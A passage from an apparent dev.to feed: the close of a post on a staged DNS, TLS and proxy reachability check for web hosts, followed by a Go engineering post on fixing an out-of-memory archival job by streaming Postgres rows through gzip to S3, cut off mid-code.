&lt;p&gt;Only the inconclusive case reaches here. The question we're answering is &lt;em&gt;"is the origin actually dead, or is it just dead **for our datacenter IP&lt;/em&gt;&lt;em&gt;?"&lt;/em&gt; — and the only way to answer it is to ask from a non-datacenter vantage point.&lt;/p&gt;

&lt;p&gt;We send a single GET through the residential proxy with a generous budget (~20s — a residential hop is much slower than a local dial, and a tight budget would itself produce false negatives). Reachability semantics, not success semantics: any HTTP response — 200, 301, 403, even 404 — proves the origin is up and answering, so it passes the gate. The gate fails only when the request never reaches a responding origin: a transport error, or a proxy-upstream 5xx (502/503/504, the way our proxy signals it couldn't reach the upstream).&lt;/p&gt;

&lt;p&gt;One retry with a small randomized backoff absorbs transient edge failures at the proxy without ballooning cost. If the proxy is unconfigured or its URL is malformed, the gate refuses to declare a host dead on the strength of our own broken config — it returns "cannot confirm" and lets the host through.&lt;/p&gt;




&lt;h2&gt;
  
  
  The flow
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                                ┌─────────────────────────────┐
                                │     ResolveHost(host)       │
                                └──────────────┬──────────────┘
                                               │
                                               ▼
                            ┌──────────────────────────────────┐
                            │   Stage 1: DNS                   │
                            │   LookupHost(host)               │
                            └──────────────┬───────────────────┘
                                           │
                       ┌───────────────────┴────────────────────┐
                       │                                        │
                       ▼ ok                                     ▼ error
              (continue to stage 2)                ┌────────────────────────┐
                       │                           │  Walk CNAME chain      │
                       │                           │  hop-by-hop, max 5     │
                       │                           │  - dedupe via visited  │
                       │                           │  - retry LookupHost    │
                       │                           │    at each hop         │
                       │                           └────────────┬───────────┘
                       │                                        │
                       │              ┌─────────────────────────┴──────────────┐
                       │              │ any hop resolves    chain dead / loop  │
                       │              ▼                     ▼                  │
                       │      (continue to stage 2)   FAIL (real NXDOMAIN /    │
                       │                              chain exhausted)         │
                       │                                                       │
                       ▼                                                       │
            ┌──────────────────────────────────────────┐                       │
            │ Stage 2: TLS probe                       │                       │
            │   tls.Dial host:443                      │                       │
            │   MinVersion = TLS 1.0 (permissive)      │                       │
            │   classify the outcome                   │                       │
            └─────────────┬────────────────────────────┘                       │
                          │                                                    │
       ┌──────────────────┼─────────────────────────┐                          │
       ▼ usable           ▼ rejected                ▼ inconclusive             │
  handshake ok,     TLS alert, or                 bare net error               │
  negotiated ≥ 1.2  negotiated &amp;lt; 1.2              (timeout/refused/reset)      │
       │                  │                            │                       │
       ▼                  ▼                            ▼                       │
     PASS              FAIL (fast,             ┌─────────────────────────┐     │
                       don't touch proxy)      │ Stage 3: proxy probe    │     │
                                               │   GET https://host/     │     │
                                               │   via residential proxy │     │
                                               │   retry once + jitter   │     │
                                               └─────────────┬───────────┘     │
                                                             │                 │
                                              ┌──────────────┴───────────┐     │
                                              ▼ origin answered          ▼     │
                                              (any HTTP status)     transport  │
                                              PASS                  err / 5xx  │
                                                                     FAIL      │
                                                                               │
                                                                               │
                          ◄────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  What we learned along the way
&lt;/h2&gt;

&lt;p&gt;A few generalisable things fell out of building this.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A reachability gate has to model where it's running from.&lt;/strong&gt; A check that's perfectly accurate from a laptop is wrong half the time from a datacenter. The vantage point is part of the system.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Failure has more states than success does.&lt;/strong&gt; "Dead" is at least three different things — DNS doesn't resolve, TLS won't handshake, network won't connect — and conflating them means you can't act on them differently. The three-way TLS outcome was the single biggest fix in this whole thing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Order checks by cost, and let cheap checks short-circuit expensive ones.&lt;/strong&gt; Stage 1 catches most dead hosts. Stage 2 catches version-incompatible hosts before we burn proxy budget. Stage 3 only runs when the first two genuinely couldn't tell.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trust your own outputs more than the resolver's outputs.&lt;/strong&gt; Walking the CNAME chain by hand felt like working around the standard library, but the standard library is doing one thing (give the caller an IP) and we needed another (tell the caller whether the host exists at all). They're not the same question.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Configuration failures must not look like host failures.&lt;/strong&gt; A missing proxy URL is our problem, not the host's. The gate has to fail open on its own broken config — otherwise a config regression silently nukes thousands of perfectly good URLs.&lt;/p&gt;

&lt;p&gt;If you're building anything that touches the long tail of the public web from a datacenter, your "is this host alive" check is probably hiding two or three of these leaks. It's worth a look.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>How a 500 MB Buffer Killed Our Archival Job — And Why Streaming Fixed It</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Thu, 28 May 2026 13:23:43 +0000</pubDate>
      <link>https://dev.to/harishteens/how-a-500-mb-buffer-killed-our-archival-job-and-why-streaming-fixed-it-4iek</link>
      <guid>https://dev.to/harishteens/how-a-500-mb-buffer-killed-our-archival-job-and-why-streaming-fixed-it-4iek</guid>
      <description>&lt;h2&gt;
  
  
  The job that kept dying
&lt;/h2&gt;

&lt;p&gt;We run a nightly archival job that exports a few large Postgres tables to S3 as gzipped JSONL. On paper it's a humble piece of glue: read rows, serialize, compress, upload. In practice, it was getting OOM-killed by Kubernetes most nights on the larger tenants.&lt;/p&gt;

&lt;p&gt;The pod's memory limit was 1 GiB. The biggest table being archived had ~466K rows. At peak we measured the Go heap pushing past 700 MB before the kernel reaped us.&lt;/p&gt;

&lt;p&gt;That ratio — 466K small rows producing hundreds of megabytes of heap — was the smell. None of those rows is large. Something in the pipeline was hoarding all of them at once.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the original code looked like
&lt;/h2&gt;

&lt;p&gt;Roughly, the archival path was this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetFetchQueueForArchive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;domainID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c"&gt;// []Row, materialized&lt;/span&gt;

&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;
&lt;span class="n"&gt;gz&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;gzip&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewWriter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="k"&gt;range&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Marshal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;gz&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;gz&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;gz&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;s3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PutObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;s3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PutObjectInput&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Bucket&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;bucket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;Key&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;    &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;Body&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Bytes&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Read that with a memory profiler in your head and the bug is obvious:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;GetFetchQueueForArchive&lt;/code&gt; is a SQLC &lt;code&gt;:many&lt;/code&gt; query. It loops over &lt;code&gt;rows.Next()&lt;/code&gt; internally, scans every row into a struct, and appends to a slice. The whole result set lands in the heap before the function returns. For 466K rows of ~1 KB each, that's about &lt;strong&gt;500 MB&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Then we compress into &lt;code&gt;bytes.Buffer&lt;/code&gt; — another &lt;strong&gt;~100 MB&lt;/strong&gt; of gzipped bytes, in memory.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;s3.PutObject&lt;/code&gt; requires either a &lt;code&gt;Content-Length&lt;/code&gt; header or a seekable body. We satisfy that by handing it the fully-buffered bytes. So the whole compressed payload has to coexist in RAM with the source slice until at least the slice goes out of scope.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Peak heap ≈ rows slice + gzip buffer ≈ &lt;strong&gt;~600 MB&lt;/strong&gt;. Add the rest of the process (DB driver, AWS SDK, goroutine stacks) and we cross the 1 GiB ceiling. The pod dies. K8s restarts it. It dies again on the same table.&lt;/p&gt;

&lt;p&gt;The crucial observation: &lt;strong&gt;memory usage scales linearly with table size&lt;/strong&gt;, even though we never need more than one row at a time to do the work. That's a design bug, not a tuning problem. No amount of bumping the memory limit fixes it — the next tenant with twice the rows blows past whatever ceiling you pick.&lt;/p&gt;

&lt;h2&gt;
  
  
  The shape of the fix
&lt;/h2&gt;

&lt;p&gt;The goal: &lt;strong&gt;never hold more than one row's worth of data in Go memory&lt;/strong&gt;. The pipeline should look like a hose, not a tank. Bytes flow Postgres → JSON → gzip → S3 in a single producer/consumer pipeline, where each stage processes one small unit at a time and exerts backpressure on the previous stage.&lt;/p&gt;

&lt;p&gt;Concretely:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pgx.Rows (server-side cursor)
   ↓  rows.Next() → scan one row → ~1 KB
json.Marshal(row)
   ↓                              ~1 KB line
gzip.Writer                       ~32 KB internal compression window
   ↓
io.Pipe (synchronous, zero-buffer)
   ↓
s3manager.Uploader                 5 MB per multipart part
   ↓
S3 (multipart upload)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Peak memory: 1 row + 32 KB gzip window + 5 MB part buffer × upload concurrency ≈ &lt;strong&gt;~25 MB&lt;/strong&gt;, regardless of whether the table has 1K rows or 100M rows.&lt;/p&gt;

&lt;h2&gt;
  
  
  The four primitives that make this work
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. &lt;code&gt;pgx.Rows&lt;/code&gt; — a server-side cursor
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;pool.Query()&lt;/code&gt; returns a &lt;code&gt;Rows&lt;/code&gt; handle backed by a Postgres cursor. &lt;code&gt;rows.Next()&lt;/code&gt; pulls one row at a time across the wire; only the row currently being scanned lives in Go memory. This is fundamentally different from what SQLC's &lt;code&gt;:many&lt;/code&gt; generates, which loops and appends every row into a slice before returning. The streaming path bypasses SQLC and talks to the pool directly with the raw SQL string.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. &lt;code&gt;io.Pipe&lt;/code&gt; — a synchronous in-memory pipe
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;pr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pw&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;io&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pipe&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;pr&lt;/code&gt; is a &lt;code&gt;Reader&lt;/code&gt;, &lt;code&gt;pw&lt;/code&gt; is a &lt;code&gt;Writer&lt;/code&gt;. Bytes written to &lt;code&gt;pw&lt;/code&gt; become readable from &lt;code&gt;pr&lt;/code&gt; — with &lt;strong&gt;no internal buffer&lt;/strong&gt;. It's a synchronization point, not a queue. &lt;code&gt;Write&lt;/code&gt; blocks until something reads &lt;code&gt;pr&lt;/code&gt;, and &lt;code&gt;Read&lt;/code&gt; blocks until something writes &lt;code&gt;pw&lt;/code&gt;. Producer and consumer rate-match each other naturally. If S3 upload stalls, our DB iteration stalls too, and memory stays flat.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. &lt;code&gt;compress/gzip.Writer&lt;/code&gt; — streaming compression
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;gzip.NewWriter(w io.Writer)&lt;/code&gt; returns a writer that compresses on the fly. As you &lt;code&gt;Write()&lt;/code&gt; to it, it buffers up to ~32 KB internally, then flushes compressed bytes to the underlying writer. You never have to hold the whole input or output in memory.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. &lt;code&gt;s3manager.Uploader&lt;/code&gt; — multipart upload from an &lt;code&gt;io.Reader&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The naive &lt;code&gt;s3.PutObject(Body: io.Reader)&lt;/code&gt; is a trap: it needs a &lt;code&gt;Content-Length&lt;/code&gt; or seek support to compute the body size, neither of which a true stream provides. &lt;code&gt;s3manager.Uploader&lt;/code&gt; reads the body in 5 MB chunks (configurable), uploads each as a multipart "part", and stitches them together with &lt;code&gt;CompleteMultipartUpload&lt;/code&gt;. Memory bound: 5 MB × concurrency (default 5) ≈ ~25 MB, well below pod limits.&lt;/p&gt;

&lt;h2&gt;
  
  
  The producer/consumer pipeline
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Archiver&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;streamJSONL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;ctx&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;s3Key&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;sqlText&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="n"&gt;any&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;scanFn&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="n"&gt;pgx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rows&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;any&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rowCount&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;pr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pw&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;io&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pipe&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;go&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c"&gt;// On exit, close pw with the producer's error (or nil) so the&lt;/span&gt;
        &lt;span class="c"&gt;// reader side learns the outcome.&lt;/span&gt;
        &lt;span class="k"&gt;defer&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;pw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CloseWithError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;pw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}()&lt;/span&gt;

        &lt;span class="n"&gt;gz&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;gzip&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewWriter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;defer&lt;/span&gt; &lt;span class="n"&gt;gz&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c"&gt;// flushes gzip trailer BEFORE pipe closes&lt;/span&gt;

        &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;qErr&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pool&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sqlText&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;qErr&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;qErr&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;defer&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sErr&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;scanFn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;sErr&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sErr&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mErr&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Marshal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;mErr&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mErr&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;wErr&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;gz&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="n"&gt;wErr&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;wErr&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;wErr&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;gz&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt; &lt;span class="n"&gt;wErr&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;wErr&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="n"&gt;rowCount&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;rErr&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="n"&gt;rErr&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rErr&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}()&lt;/span&gt;

    &lt;span class="c"&gt;// Hand pr to s3manager. Blocks until the producer finishes AND all&lt;/span&gt;
    &lt;span class="c"&gt;// parts are uploaded.&lt;/span&gt;
    &lt;span class="n"&gt;upErr&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;s3Uploader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;UploadStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s3Key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"application/gzip"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
